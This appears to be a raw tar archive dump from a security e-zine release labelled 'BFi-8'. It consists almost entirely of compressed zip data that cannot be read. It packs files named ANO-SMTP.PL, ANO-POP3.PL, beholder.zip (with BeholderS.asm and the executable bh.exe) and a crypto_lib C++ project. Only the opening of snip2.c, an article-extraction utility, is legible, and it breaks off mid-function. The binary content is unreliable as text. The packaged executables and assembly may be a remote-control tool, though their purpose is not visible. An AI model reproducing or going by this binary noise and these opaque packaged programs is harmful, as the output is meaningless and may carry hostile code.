8EƥqXKm4prnJ': 6Ϥag3".KnV, ] z(5>aXWaLQ eYK +JcܰXق~PgxI˃K5wXwsnhK "$T,4E .-y*L'Ql98n5㑕+pe};?O͒$?zjT~U#)DYsy]y"2K)e}\4BJc{4d z* p6Ҏۛ՗Z NHpj-&>*  T {>8nu6[08a9 ðh<zا -h]jHpjU;8n⣶FtOE CY>'}2s_gՀ|E.\>VPK$X(  ANO-SMTP.PLPK{r(KI   ANO-HTML.PLPKr(3i  ANO-POP3.PLPKe(lLP WANO.CFGPKrBFi-8/beholder.zip100755 0 0 45251 7102660046 12305 0ustar rootrootPKm1(W BeholderS.asm;'d<Յd)|'{ÿyIul 1 |]kr>%'$~bL oRyeGnn@N94WU@l1f>I~n &As׌ߛjcMԟU4@&ޤ/{# Vj䠾L{Sxۺ '3ލ4J&>ݝgDf.!{ W(=EHCF"[>Yl~2d9"cc41zfɚ㒬o <6nÂM0m|йv a>l} O@qo90\gsڴoxocKl>>! |t?~߻2O?/YlH~B=`+`>mH̏ | $s{,/2bu7D6N ;0o3? en/up,* 1yDq݆zg?";r[c> JnFv|MjX_ҿ[4󧀆K蚾|3:J ˬO:<;tM<涎ۦeD[4IΫְj8<:6{^.̝^׿kY J =ǭQVOj /NՀFݪ&ji5V?8 :nU^; +Vcxt|2Nk0b8!BGUض'z|T8Z݁U͞6S͞aMi{d؆S٪+/3=-sa2@jZN:w9o"9%Via L[ )[}: :jv/7 !m yg/jZD5T]Mn0m J»uzbj#hx>th&W(p(-`8muDSxqjTHwOzE 9.,Tv }lyl<ʭ~cr`Js78>sڵNad˴.q`<K_wN4K݄tw pFgPE0+&n X 9',jkYXC=:.*YR*}9Kkq0t4c? }v^0f`4͡Ƙ_w؜: ̐y=[7{ YYeol?3A'9Q$ 7V q1~C9awh܄!l/4`G_loCwyuu zV&@--ϲ^9I3M,[R *XB _@+ag+# 8o9F+7 {:ykGJ^ahr0Xqb3%~yɅ0ȉaJHߐK,:8R9h :G 5 cv59 t_Rx鳧e5fF ,2(l $ضXjZ})F`uF~SxI;c:9b18G;d0)ǝIG>զ)aOHf޽"7JS4I5?@H8ubm<)^4鴔MlH(RE:F&Ⱥޛo(dW Io]m]wRnj"b!cty  fL6:rp6yb! I1)I9K6Ѕ&GgX}?"ȇ'NZhBov2,O͢qE*fKc &Idx XFHL6Hpڍ~d} Įhx ZxN@]OGhƻrTݓRTzMjg3H"{dM .o@ 8Hp_<]\m|@(x!e iKJM;Q{,uWtsnCnvϮ;p\ ?on2~ q3Կئu 3kNd~&ij͸ S ~JVv] QwFI.A1'KDz^.;4>"z| B㐤k`sE4C#E @eFp!}n"y\F&UT0 ŖTK& Pw-堓Aҫ^LR[dbaqZժ"w, KM m5'K䖇r04ْI㽮Β+[W Ư(Ė-{-riP [Õ!cWp$E'Xe4o#7}bŲS)kAI6qoIC.)k.@KKI9j|#k|9֛h?US%7>/Yp ~_P.a<1Õa^dMz&?.%ș,k:Lfif)dEEEzC~>hxv(DH4Oa[d ܒb~)¬1 Ex#_S*>k`*M+0,YBLxu0$I8p4Gѹ5V\#Uͧ4J[վZ5ߓRXkS$?!]'fQ) ј/޺he˭oX!o{V]6^*!X- ;xnb+0C -nOֵ5S4ycҘZɍu`:Gן$1OGs :]s Ҹ&pkJrRJ2ȸ9C!os*.n)}4/ݓhne6E>q߲1^ХVj@Rg}Pwe 9|v.H<"x&0b6aO(ž<>-G.")"Vv7걐KIfwU('&7ZY@ ߄yӟFjq ^Fjx_96f3WRήf@/{v rgTJw355aQEݜ=\NԸ#|~|9<]Wlz4Rsi%Y-R8m"ߟ`0vWߤPevG&BFуqs3|4Zf+l܄QԘdJUbTðS#gn;K-|w/t wdoz q;^X(؉wxO9q6`r^eܼ] OİJ\RģZ-_B$&~f`qqiʗ+eEmJ?sRxڃ' Yzw+yUVgDk%Hv[U|K#;3Qob0Mf^UpY04XE(}\=Jv6=OOc&uP홐LHb2iAx(#yܻḩVq`c9*e!tQU<`h&xJ(ª訅OL0m?>p׀Ek;vUa!_V{B;fx/[M :Kz@bK{H# me3YgplM(j*zsF֘8޸1X2)hP]i5E4e31j dnO"!oDoJJw2o$k0/7vhnq$8Kn.ћ:늽ԇP/1NCH{6&.q}N}TMSlc=-hvWbB~`*Q`1Z109uv"驣6x<.+bx2y{~'<sl@o-AC΀p𾛡_ $,,j8t)%j[vtR' L6qҶ fv7[Q%gPpG@5L/s28=xCe R5 hCTW("qYh^0Gؖ\,aq>4PӔ9: ,ť\ݍ! ˏU2qx+l50ӽDb ,pb/eя&ע׬2)TvZ32 ,ĽIys2PL!(I>]b餒I҈0;H 5MuFGQ[-/CH(a%,JŇqxX qNF`qy Ͳ{D5iiHg)UY~evIJZ2J]jW-=h9<=w(zy/Ol8¦.!wV q2X_°Q]]hӧ'**Q/ Q:H>G&aIz-%ޫ6vDo.$ "/ןC_~gSΈv^fe~#M3֐c{%θXf eFzNЕ_ @A*=ԭqm* >zR<[~QMj|^|5DP8x2jT|Z^pAamÛ[Ctm/1퉃`nQFXK W$٣ïl'@VbJ@/1U% \aίVhf/[8, z?tVEesJ[*dU/=g4 ibSԥZ %Pu:yf<]aXCZiX.bCxMS=A9zP9~z:ai]X][umgD,9]V[+=u;YT4]+sijN h><r$ހd9EC"9ˁmȗ/ &BQ DO|b;VnpQɪkuKm7Khg$ZmSH]";z{sFgǮǞ[0N2ڢ$ߖ$VۥGjqFC.q[l::pʦ㨭2vA^2|lm6J◓xM&"YJo4G'YgMU=9yΊ~~ g*pm-#[G x6 `=Q#4??hA$ ˣ3ٍJΩg:9=\#QmNA"ʲpJ\x&᧼*oaJcAV~èw4S["䃿O|6Oz LV2i[g׻B3x Դ~a[U;Xg48l`58Yea؜AD=/-Efî8ގ=''0m As-S~^g:DeUc98q,KD,~>=TlfXJRlMۑ]ڴ%|R= R.cQU#'1+HLsA3#ؖN׽TPkv:: t:6n(|lw61w"$qgl+ю|4[Ќ! f%nzqfUٜ' gΑLS-#{/$RQ_rܵ7|h6SK7(HOaKþِTv?0 ^ 8WncĀU8vv’}lS_/QOq$P1F4\SeDVkOZpy5K8j [s*27r9lDu$F)Y{d޼ݓ,F@:M)C ^@R (!aѡ{Gd8ڽ^EuUQBTZrITݍH7qJ[P[zzCԧ7JuT{J54`OuaXOzWƿuQ ͌0js]BX>K0t'b;8H w՞v0.f+/D-%DV|d6] nm//{g-bCPyp<|RE*3qXib0=: k̪ٴVR$/R)p?RIb5KkCkC& ò1LzDC&FF%8B>\8. nSlPXRk9` 7\~l'ku PǷe{n"厫v[ŒM,pA.1aW#+sxsG֌P\ubc2hzW%ĤU@Ғ2p]IN5%j*Ur|*%cymkJ O4(\cc ]VxC{hyCGyd(wQ1xI _tPRH5pYiѫ~\8 ዂwx@3)fE!igTk@PKW1(X0B*zbh.exe; pTuo?`WѦZ/HPR.x%v%bd![5b֌UfWFjFmh΀K2IdD"!dIN"B0~ljig*{~^>5Y8Be؟o7]ܑEg2y<zO6; luuw{rul]YXWxp״[|U*K\NqPq1cE:|739Nrzz2Z=_'uhp_g3 msBҨWvulm>B(Ut` JFU3^%W>@Ykg3b6;.;=Ȁ72ANZVAxJ\ LE2 Zn ^ӟTц-.,pfTdDms=\AJ^F9N LPm%*@4Nz:O0U 3va:BPfi=Ct(!@bYrN=Ɏx! F݄O46HsT د~UTI:Fvp",H/#i a g9 !# e_ZlC2 )b_>"~ n8vЭ)ķ PbOI4QY<#i+H/P+ViT3[p-[ilЧ5QIezS*R1b0_Q)!;B!ھ8^Olj{ZqFAIОG3 -boKԷ }/F!MCXmTo ST}>Mm @RDuO*tjIijp+m4d)e!)N&C_[/B pqj ޷OZ}A{kb SˀCsWu@Ǧ ϋBb1$\o)7XN6 AICї) Z} ]yUO{t8-YM YF$hvmm.;d?kTK so(]o\ҿ8= 2`8^k=xCL7*y: Qf''1և^q1~ע~~ڀ~Ld+j>'thA820bOK?|!-%(h%hJp1mc^}*tpuW\!\&B~^.̘Ma <[dD\aq Ȏi1Hzx7$(~*wT e?n(>(5Ќˠٌ_J?EB%=Ɠ$58w4͚/[@GޕqHDzbJ\<'u#/ߠ9Z}$r@47|")4F4iO h/>vvfmajOo@&7(wAk4Y]`l!;!IkзE)z?{\ݟlhܬ3)lÉ[ }/C[8Mm6񔐺a7@{ #/ p7l1%): P+N!'"sts\CzPQq= ф́^ g-f2Y~ߧ[02F CwUXã0f{Sl,} J}~x!<],s)R[=$΢bbq a#h @  l c ~%vaEf-tc*B\ G3FiD(a'p?]a }s]Es`G{Xp0ĨnU7TyEt0KHw376NF Ex?cNr5)NK袝ƒaA&0 2/ Srq(9Lr(!%ѫ>uf߭8] 4qP:Iٵ+{O"KǡҒwT*t>ڮ,'hi~- "?"Z ؚi_ɦ[z`!2.){l8GiUFjrA pu;9ZAܺ>?*{}z?0N')WֽPHy2j$<G0+l % xő,g]kUaҲՓ;?/]ܺBfko+`1Z(.M'09ěl%!+x,A"Ÿz=S󭖳S _)M Ge)t`N = q%t0~⮦"GȸzT`_ !jDzyhj 9`zS bJx,ъ>lcr~:x(p5egKgNtWş.ͤF ۑ%EHM8&o>`؏D̫ueBkʓ}W0Nd` ϔӈ6b$*=Ĵш$K~6p aȰqNt"=ΓTXxAv@'H}0it7Kz5X^]9n~.RWo{ns'7pMx >N}9"|Qn#Mr>CZS5̦M$giACZ+ b[fPWglAl^&qY1DjدiYR,qd+2*I>F\~I? uͩc͒V,$f=zY=ܨrsq$mpc82{sctbfki~|\GA9""wUV ~hy/'5eXd݋ N#G͚q b#uBC9($طjs$?_rs%U F)E&Vr܏)cYk;WWB[`wº z*. $ζo2a F*&q瓑d)2 d_Uѯ8 qUFuw5*5_2D)^A1`bt%d!'W  )l#6Ví#ctEkW!9$R"[dbXH1Jz1g,+ϳcx+yrrW."{ nֻ)&d'O2 ~`Y;Xkθ~tBB9LNɽFokم!v&C]^In]w#8@p>  x+|CL%8N4I@"K'(B*k "ȑVm : t|e V"XCC`A/AA? [  (NE{&# }+ ;D\sE,ǙH#VI Sb5ЀګMm|zdcA G!5h9}Z-#ϙ8+X+38W" vcd?Y*=P9.(BϯM fXv'F;;ӐM2">t'oʲouazJs v}DLzFSP_;T_u{{wcOc-zMzkC*E>ω v?48(;Tmy/avlgp>wUeV߻pkhaSPPAibr(ˡP=P^:<BA9 {P.B9eQ(ǡ Ag(|G^ |30);|eѓ]iz?I0!R.(R2!@HB@Hvy0g$ϮHe]۪G]n [?K]U]m*],v9MfVnn^8s޹{y0,骱iX MV-_)*P~ 6@ `. ˀB$ '; .xgo^/<vNe)֮Bٮ'JFߐL^Ypn  Q.?UyCp)Tf߭8UoNkЧu^UUZRTQU%+-k}E3*6,9.2uSZ˽>&JBKq@ZOy E-:*ր o Q[\Ԟ"C@XD1RR@آ 5Z 6+LW\V"uJ3~g biUK$XEa'96[6>!Z\J^DDuM%+)z/>UD(j}:>[ uDT߅7BWID8otE=U87OŹC D^@#A*z3E _?  ={cv6 N?N/K30B߅ pP:;,Hl6٧4f܀XP|MMCV&waE"V͊nKFC\-VNb>wz7O/~WG KJW&-W]P^[_SBX41R4mtiAӌ =3E34V/6YdCa1Q{Uh8VTaCգ0NMW nMnJm /i`5 ͩ&O+Pޯ>7F#,GYցW:Bj$yZ&Vkij>hUkosG35 [0&氦aUi%#*Bv*);lϫZLLY5uE2L^ rުצ,ګ#Wnvֿ#gp,~gӍHٲ$R/w(y`|z<3yc47醟׉'m𩾚QYG7]11߉6c?Wk1MnA?g?ۃg> x'o};[B1;zGQ2x)/Q'g?|QJxi0K2!y)( EJH)3kri:3h͢'x&=cCW8KKFzclN0t9h۱ cICn {ݠCFtd *E Ctׂ #J}n&1"{nLeCq:X{tG^źox Ge?4?x*SlAod]nhҎjf!~;eX)VT:M_4Ǡ*&`;]] Z{APK3-!HYTXX,@tss/ ]9[Nq MCyb|0 > n.f{V!>uvVp9 (ёw5<е+ϭxnF?u ϣEq(P9Ҥ=0rĦy~.Tnfi^~#!MWcz|L5r(`G+ {>Tٟ^m>S=F^lO?f:jxti, ם"Wj{JSǞ٧+ƃN,_e=Q?W|{z[xG&1 i!_A% ifnn#;>ZD3W32ᡅ3H!+-]kE*-7b>*W <]-6m}o*.c$2n=N6-wyΙG^ӈGhYj>uY: +nȕڑe<(pi|]+mGVZ7Yn9_GG޽əQ(?gjeD 7MI\Aց&IMkKj`6(zHs"hjK'~+I$[emdX=))P98w,!L~ҡKrc \w_/_45䙛R\H{(Ry$͹DFL~XDĉ^v,NjPMlF"40+2"=y Uwm\DBh|㠖MRԓ1J͉ ]"w,.0qWDzNt|~mʇq5_dI-hI[_83?pw}\/hס1YQÆuuuv`d,"iű5.6$ŝ44͌'LOYġ#Ɉx8D)Vm:/ƮEuhUm,KdQO^-os.Q)da&ѷo<pөD1 ]= .xH 6c鎏obV5ewo2uocMMfwLm:Y[1[VJ,jˍVPT45F(DF+n4$U*V)7/I-juQsqb%JocVJ{f{fd7$~>_y&Gk?ENw<]fצ"{q SC1Z =td B O;]j`]ӻ7Ʈ_à[f}i}2 (̾ĢF"+Y"ns0oGΊ@; Fcx+sn88hț*-R UcgEWMxJ\Ԉe}}90FCzق$sT^c"&Hx IJ(d2G.Kҩ[hlL"d %@ZڬiQFlN}t,h\Qnp2}G[|@H-rs}B->Ҍk Nn}'X i t}/\/$Ϳܮ{>l@<&K%'%NHbq$U/=scӽΏ&a7ݰ| +- ccF.5W1d\x.bƅg0lƋ/`|c b,w0e|/(`Ad8f=M勺BYB%Z#6#=-?f~iVfT@=OgH#-@qߊ A.(myT̕ӎt;x-a_xg ,,1 }Q[*WU;lKT(nI T!)*CuzdmɐUaZZXU(tM֍\ 5.+}=f"QC kTUEmcJ_a6֖ֈFڠ_l%7)D( _DauiV2ry%f4l p8ސLҞƴSBBDcUk^l7.JF_F[mO NjP}P";+a5lޗ< W$H%7їeDǽX%($8G$z{{jMS;ϓXU;_F7Mŀypw*Pש͝(E23bxK'>֬*Wzj#4V{@T64b )~A cm1@zr|Ưc?Ə3!gPEڻi|EitI,~oGmu/ZY siE@H{ m>/D^nQ^0(k?}Uy PKm1(W  BeholderS.asmPKW1(X0B*z bh.exePKo$JBFi-8/crypto_lib_01b.zip100755 0 0 53005 7102660046 13325 0ustar rootrootPK"(L~ crypto_lib_01b/anekkev.cppUMo6=ۀ:v z$&=yDX$3CJ-`"9|%|Zn6i8OiZH 3 QJʝF%]v(ZYUk9qPJ?9_4yl+-#=+Ff5w3xe+Hl[+m[Ԍ)s.s;~ٺ #U}RХ ԏkK51#2dkJ:Rː*q 4JJJ]P!Gy>ڂo6(=ds2a @2V['W߾__؜3oēZVxG -L|4JSgqoD(E% |G>eYgxwתGOr4Rh?Ps$ĕڣ{N0H!I,^ CvBq7mU?EΧO` Pxn ^Su<( dJu`pX4 MgJrkaq SW-̐Mh9C ,&)=u8(aRe0ِy=ט+ez]Uc3| = Wʊ {74kh h@FrWe#f'TJ+.Qб\@m~%iCѐ erp |4_oĈp5JKGB 6<+v2CcWLE0ԅ?N6(˅a 7J؂1J,0MLkQ?e"U)#n,PKNאPN,Î8Q|w_тά,n#EY~p'(b"Nǜub2qy eC9|u>Ltwް/@;'H%`]>a?:Emj ]XVe>WR0RЋ8*2NʉU?%pB֟qPK( <crypto_lib_01b/anekkev.h[K@ ?%-b@R`A m$ن\"ݶRۜo3@HE0>]tm"Jn_əEH$2WgٶbhNC7rXe8qзU>  o}| eeE\).r}w6JOwjI]CWzյMsAup tE*Aڊa7In_,#զl:'p}:~kPKwo(Tcrypto_lib_01b/crypto_lib.cppWOG$*陘*+SRB"KHWEwc{yo||ݳ}vg3lm~11X휙X5֊t:Q4~S46ܔ鵪.R^?{~Pk O݀*IYLUdb6iqN nX}*UCtk31EU˩,yҚ"4cMSfcS Yxԇl)rԀwŽnz? Lw=2)YZ.&lh0UXJDF:cjPeANԬ1V0DʁLCVFrWKAw?z29U$*sLNTgj܂NmD/W'gקz[#Xuk\.K9U)\%Y]鹑:آ@x!Ez~_XnUVv:m P Mzζ_%q%t^oi.@; uo`vpyNj<8( 7sVbiO% mH]9)5e &Je@s6)Ta 鼵1ԖW=Xlg[BKyEK=|,k6*-C)ghȞxRP@- 5BH+ H/BaYNM,MMhKYUHJF ea rMpZEs.(JLVz4)4S]prNKuUrH$ nD/oq{U軮v`K0X{77-f Q^"XYO#II*8SԀD _x;JCk`ʐo<4jni5=!ܓ82iWE5ٚ1|M$LD%(07^TcX(O;;magi'<. m$ӥPvsnX k5mQwأN~w^6;k7zSٗޘ FR!f$V ݖ ͹i"-XPK5(!<&+crypto_lib_01b/crypto_lib.dspWmo8^a.{eU$ -/": 9>;r'-]Na@Ǐ3;U)8xQfP0)tE YMuY(|lcWl0z!K1v& ]#Ÿ$\u=8#:)MOOyښwc/B6.9tLlq(8K Ȃc0anD䗁y ӥH>R"pNPK(U crypto_lib_01b/crypto_lib.ncb]{pEzfҮV25-[ amp]v$m}!H #쪃@3$*8UG#Sl Rp {@ tΎdܿV_O73ik?ΥƖ+WZlz0KZX>V9ŷJD"n&EN8Q裏4444444444444444444444444444444W%OM\,p?nПQb} I zիaCL)MYz 2|M}2_ Vh5~'+ZRCגe|"5vd:^z.zD"큜7u掞MBNm%t.{(N%zn'D.R&;7OgzÉ`O6뉥a{tu&sf&HeΧcs6fޑD_3 _欎SeΥcͧolmOִY;K+ :Fls+/gae`JCe:r0ա2[-OY KÄ6g\y]6ބ5-b?@8Fjϣݸ%ĽCA% u~1%5:V؛p3qayQAxJm>&-qQ70¿$E߃Mhqun9:cX7< ' K:#8ㅍ7C36^g;/=wbg ί3y(@ mUz qag_uй| nk#B*e}3 =ma&-մ~c8o\BЎQ'^1;#QCiѾ_7?лW Mas1o1_Xpo 7mWO 0yt Z] G'_L}pmau2n4,m!?NjE^Wo^tF.1ZGp&B\hW_v:o ߻zszq_Kv_Ow~]wpOnpG]wt7.ބ+[p#Wwd9=wЕp㮽xnZgmt)Aڎ{߷CKv<<_Nî~p=UpW6Wbыa1s>z|ud^ZKm'Ek(&ʗ>iT#/&ӼeBkbK_xjs4q/L=5Lcd܈~`+*M+ுZe7/Zz2AWC^ v։A57Ўg~[Й'_W9!7Nq,J+rMs[i a6X*ۂݡoU;rП}iO}.~N=?_+n,i9'<~'[-fػ"N !<01<=y>="<(!<%x6N" 5..B^)n&dgԱ:G{}2~{P=*)ګ5 hG-Հz Io%N=%ch:6~m2oN^]@6EVJs,G_ٟ YFN:;5AHlƷCQyrpI9*!R~* WFB*/JC^%U&< cGX1hK_ht{4k]X.ߛ,1⫝RNM;)^ BUMFhOXD|3Qy>a^ü7^gky}3ιxE_zZ%4Nݧ!XrWXrd1+W,}÷?" a䤴1ouDgy!!jkv|Dmigd"w<TyO[+}asĽ3 q> _+A |]JUH]%챛#rV+e1hƿw}Negpif-~N.i\dN*Żmcߪ.qwL}މM巘Yx@كľm:v<2.կ^;ҝyg p gxy' w$e'^K1UN%KHxs-f!?Όw\Fqx,癔>Oi? 11!f,?{}>ϸiW},?{56/LI>.gs54fga >l6?<A2W?4g]fиp ?3gI|4 '?IsV\>CΒss,lDN-uKf_LY4<} H /%dV\y lX@{?+`s l?uy-)?]O5Ԙ J$q@ih˿ƅ3rB94WiN&ɗ_4_ww5Y_KB5(+?v;.QȊ8d3ag藇]1ȊqȊȊȊȊd3)cW?' +!+vG,oQ?!+vȊ Y AV?c3~Ȋ0)W?!+!+dǂZ!+NȊ Yd +qײ9BV?O7d3hތƅO= eR=`6L&z&\z oݓb#]B<٘N&өwmGo9ymN}f O#D-T_$%\!)8z%Q/Sz 4b]>P.-ō|C#liD,/KS|)r>HӈMәKcP#_Vz`RUkD0Ikxb4Kd$eq3<*;:[<"kzKi)ןaf\zUz,^=\~X?==onTV=LG8}10`@PC){0OI;iYY+Y}Ϣd54cKŪ<`G7Ss4nv>I8O&HL;\Z:̟x7%~ O;89vju`L9,L9)i< 4Z"E(H,{h#|ƥT$V֊zKSݕ\$V_nyT$V֊Zc+kE '."a[v'G C"E nXx^C1~7j_wCStqI#gh!u[a7B~'vFsxԱ''KݣqKhHt@h=Z&fwzυxgEVPULZ%PK(J#) crypto_lib_01b/crypto_lib.opt͗Vx2$-%MC)hJig|Yz(%W %ٓL 6,z`KXfaÂPO@}%II^͹}O7#&?EN¦b 3gəxPo '@f@X?2 r 4ȓq=O|5j ςZu8? @ -oXOK A^+ A@^u2 *ZwA.\r-ö"H DA(HdZ\  D bn  [ ?ȏAcG}ćrxZLbpQݟ&xK:Nā:36z"{&ssu 6wRI?OIPVX:w')?ӍN-wWWvdqv+8^Cv= =?lt;SnY/oٚa%>t\XUzPQ$SIFiduDʶ4$Rm=fZtcF͖kj+E(Q*VUvz /; [+B`6z8JA+vE3 Tyel Ŕg}3sTwk#Z zcZ0fWWdsl@bUXV4Y5$~SiDt'TO}k-Ր 5-,,E(] nIjf֕n_M `uqk*ӃZưPWlT`h* %ݮ{ʹZ-ls<6ɵ.Zd^~^*5y XX`U]ʴym!jsǖ =W(Uڕmj*TLJU6LE1pSѴcQ&ߤz+5/^YpeU57A.\4CvNfVZ ;'z˩#ʼkTA|z~324 U07v=\S|.)&kI+aHp]Y{kTA k~Vo]Sp L gta[w[f ^㦐 D ҉l{4Iީl؝6$zp:l4Ih:IsSkhpll[Jvuajl@8F" pTFxW,W?J"VtX.հNFtL-)9kG}LFeqkN^ˊ 7cqT&QXiC̛g_t?!C?!C?@oLz]E?!C?!C$.H3|.%Rz7B 6xfOw'm҂N󋤐ΉIҼfʿe (w?Mf~ ׹=Սw&tgn|o?>_)x]wsl-V2halm9/3$^N5[;w&elǦNY\lt:'.a.o"E/_"E/_>&'DB-9KxŦ1D'3sseg`?vri DSzN{Ts?!C?!C/㿽 C?!C?!CqԂXl>?!C?!C?CvهóS?(4{G !3#wX!v$8nY&)+|aM6X.'+jr~i8_"E/_"E/_?$"'>=1C~!믓kmۨJ6$r޲EE#bZHW< ܶxyڥ ._.T^(.,,-ҚBW2B ȿ@X4!| `_EqUZXX~ //-+ty|Y(1M\A៊}?+EJV%cG\t?cu:'Ǚŝ7/X{jI4$̻V2pGqOsq&Jlc l+9}PK`d(dK crypto_lib_01b/prime.cppVMo#7 =7@63k{ɩ{)0 Tƻ%%͇ m"E>>RkeJP9"B(PV8ce%W)>JO|Jy'FTd1Vg"+q#ȵx l_[t(pH2Q nJZkJNZZhaY\ut+&RtƠYj*IWH(<i(()s2XE:x):ZXqNRQt sI"5T 2*lL{#q2Npm0"|3 7h}KUGkҿ"LH`6I4I/*I?'d9L˫t2wF#y;_!_sqrQ>rKqnF4NJA_03G k)-L%OVDAwg"d_|ab%o)_`: `= J7|HKJ;+ώ-.64țۻ%2 `,]‹=azX^6Bm!=!t- h@2k="с̢x*u!XU ixNkNbyx|7}EuC|}D%Eh|Pf5`lnKsCӣ0&68efNw!ZFl-;R.9a]GՊ@eM(b!O@4Q֎۞WќDU{]sih<s<4 ³~REÞӱ| Uw_v*3xrIeI]}~4ks;Ln:/J+ްRȭS  ~?2qRaM2kh cO` `, {uY@i7dD=&~:j|]:Սg+];;`CC;&^eBȁE%A4L:q x+ȼ l~~<{?{[# }JAsx^I99|Е6k.aY&=}>i?P!Z֚!uˤg;<8?4릦AB"JFl@J3 (Fr#rL}w1DoJ 0PKZc(K4:crypto_lib_01b/prime.hpp]= 0EBӝJ8(t$Mcy4MB6xy9ci3^[ 0F_uJPfFE~ UUX#iUjL=xL<>Vj) XёPo%!Hy [~ƾ @ ,ȍnX#1?yPKc(Y/=0crypto_lib_01b/rsa.hppMK1  ~QK[]in;ٚ(#6R0jk֣ڹA֥!u , iGSHkB܋pZΪ½& I AxX̀1}l,>L"R¬* T'|-Y-+HOڷQ~2%\vnTV5Fh.z64 l|&Q%֠1WPAB /b$svӕE1zֈb":m 4ʋ+PKLd(Hl@crypto_lib_01b/vlong.cpp;koHف="EɒǙZ=7YH ima>ls~Uvl'9p!2]]U]~;Uܮb|eo9+ӬȢ(15gyplG b1X[{,n:| O/ / /|-/j:_G'p"* \7)JLqz /{a& ZGA>P&(|K~ԠZ?mgwx3]ua0>3b%Lh{&Gз!4۫k`c*$ѝn{_~l`0>y2C05یb V/( i޽mQƄ$7EĜ}JFԜAIdh]DLmPBé++?] Z eQ΢, K*)䱀ir\A5N܂Gf &K@|V%Z u:@l0@p8)"Ą%d7h &Qh~X&XA7[Q` yPӍl@mcXue؀[FPq.8S{ks! ":?ddy=*f%X!b0/B̄m1>6xjS&U..&#P1I}!&QzukТԆ 7cB@#X۬׶pMH 7ۂ"@ή@O,V9)=6Y0?PH* *Hrc ؅IiyVB{,-l5 mOCq;c";*^xpV'8xg꼤'A CFe'b MKE쯄t*TkI̍+6tKƄ2X 4IFCAdg19!Rh:bE`O2A̅rAyLS](kUWxtL?] K \X#yRu1OS8IIs7/DuüߠWSPz&"9sK0?PoIђ'Q@ !i5rUC!SHXr Xƫﱞ@_OԪX-Fdg~O4yRSwͳט Y/-׼q:Y:K59ʛAHIӀ!AU0 Wa AiVoX̆},KoZE}snwv^Zz`+kq:DR>ڀѴ#v(.UnfCuBȪ{/9cv&Zƺ^iB׳UK%+ ro4uĘQ\V@lVAQxq?yg|ʸ( Ƶ 5cAU(ekԶ%yZ1Wj]Ma>j ZjLJh]iZSr^7-EspaGb nltW>ݔi@X[bWxZ!*,nߣ 2HLp*QQHM| BjUXog89N-C{ M4zaϩiHp GBM`:ݟtղ̃Оuˮt~Tt'6R24/|퐸5&}^@߂UYX^R9%*ԙ*'^NMfAeWa*,=50 /:3AҶͮgo4Fl'Q7a"#<zϣEM1IZF#c6 !+bLeф`9k/4SէЃ`]4 °zK/1 `c(ioGB{>h*MYɳNB"H* YA"WvE?zЋg-BB2-z?ټ3y2y=4H`l '”\GzhaƮG c=F`^ `~.v|(Qm,i !fg.a0M/:5q\#&Y܂쐞KuHt,y; n<[ĵuשJ$p?L[-ƦKE5aٛ$ \%qGĮ7 ͝5][Ȓ+ePny{zͽ&˄nX|-dw X70:?zbSSh5 #ViQU.ԇ4B,qsi+ɨ|5 ܟ05:<SgW!yf;6 u ma[9V<ˢ,}\ * A]˳c[ R 5wMmK|c*XOf[4>@lLMۇ `t>Kx_]\vrFbZ4WLYux;è+WՐ]qb2:( ^Rnը5rTdfKy渾F%KMhfoGtamNm9ό^R:#MӜQK5UgޙDTg-hQ@YG| Wt-I_ kqQ3P@? 4w68Z Mt^%sơzu&8-tZW=$5]) g,jl&Zk\"{]kdq3y'=j4彯x֊Af@y(P{܇'YUāX/:DH9ĭSʹ"pZJcXё{᠆q'=}g'W5ϤFqTYO_PN<I'P.6@/1 5Fo;85&zNhI=ZD>IiѼd\.B>'7PKʻc(.tcrypto_lib_01b/vlong.hppXMo6(qvwoEhh Zbb)R!);C}X]79D$p8oĒY nnl+4܀`,ciSbR B%"gʊTI3mԲ/W 1s%/VRo{+ZXjAr .I~t9p"Xrfph2 l=)wn$nptk>x^RКn)yk~Axy%ϸritDN qcjh>-[̺eVȨÆzm:(gNvcORj.K& o ]d( BdNODꉏy*4낔 @%2j31mO& zׄMŏQd@$7:)bדã⓬ M06t6"#i0VKڼԋh[a/Pc:w;JnЊ/Z(,#=5m t˄O&cbi_Ccó!oЕ F)'`X>17 Xcdt}}mfȧ['٨0pUg+ƄX8V j|a5+]F*bV޸9a$I蛓ߝ~tHa ,+Ly3aš -!G8T ^%UAZ-[4z)S'YS,(}d.V=ʱ 5W2KLQEwMod1 pG=>QvtK[ )dZ"5%Mk򯽮Xgm۪nfךn:jñ <~E=]nrzEbGZ#ݡmQZ,`=华DjDd1ޗoA5?ga{n"SSQ7͋х/ETV7E+ۆQ9TM0dN}SKV%vv1L'|z<3$5b4H0%tѨ=7G'΄ϋn*},lM `.j<?ׅQi¸Z^5kA$$/&YYBI}2çsx'ahϦy}@" Ws,TB ٿPK p(crypto_lib_01b/Docs/PK"(L~  crypto_lib_01b/anekkev.cppPK( < Ncrypto_lib_01b/anekkev.hPKwo(T crypto_lib_01b/crypto_lib.cppPK5(!<&+ U crypto_lib_01b/crypto_lib.dspPK(  kcrypto_lib_01b/crypto_lib.dswPK(U  xcrypto_lib_01b/crypto_lib.ncbPK(J#)  Y(crypto_lib_01b/crypto_lib.optPK`d(dK  4crypto_lib_01b/prime.cppPKZc(K4: 9crypto_lib_01b/prime.hppPKc(Y/=0 x:crypto_lib_01b/rsa.hppPKLd(Hl@ ;crypto_lib_01b/vlong.cppPKʻc(.t -Mcrypto_lib_01b/vlong.hppPK p(ARcrypto_lib_01b/Docs/PK LRBFi-8/snip2.c100755 0 0 6333 7102660046 11152 0ustar rootroot/* * Name: SNiP V.2 Beta * Date: Tue Feb 15 01:00:26 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 * Linux 2.2.5-15 #1 */ #include #include #include #include #include #include #include #define BFIART "BFi" #define BFISEP "<-| " #define BFIEND "<-X->" #define BFISEP_LEN strlen(BFISEP) #define BUF_SIZE 255 #define DIRNAME "bfisrc" #define FILE_MODE 0 #define DIR_MODE 1 void usage (char *cmd); void dir2file (char *dirname); void snip (char *filename, int mode); void checktype (char *name); void makedir (char *dirname); extern char *optarg; int main(int narg, char **arg) { (narg!=2) ? usage(arg[0]) : checktype(arg[1]); return 0; } void usage(char *cmd) { printf("\nSNiPv2 - pIGpEN / softpj\n" "Under COFFEE-WARE License\n" 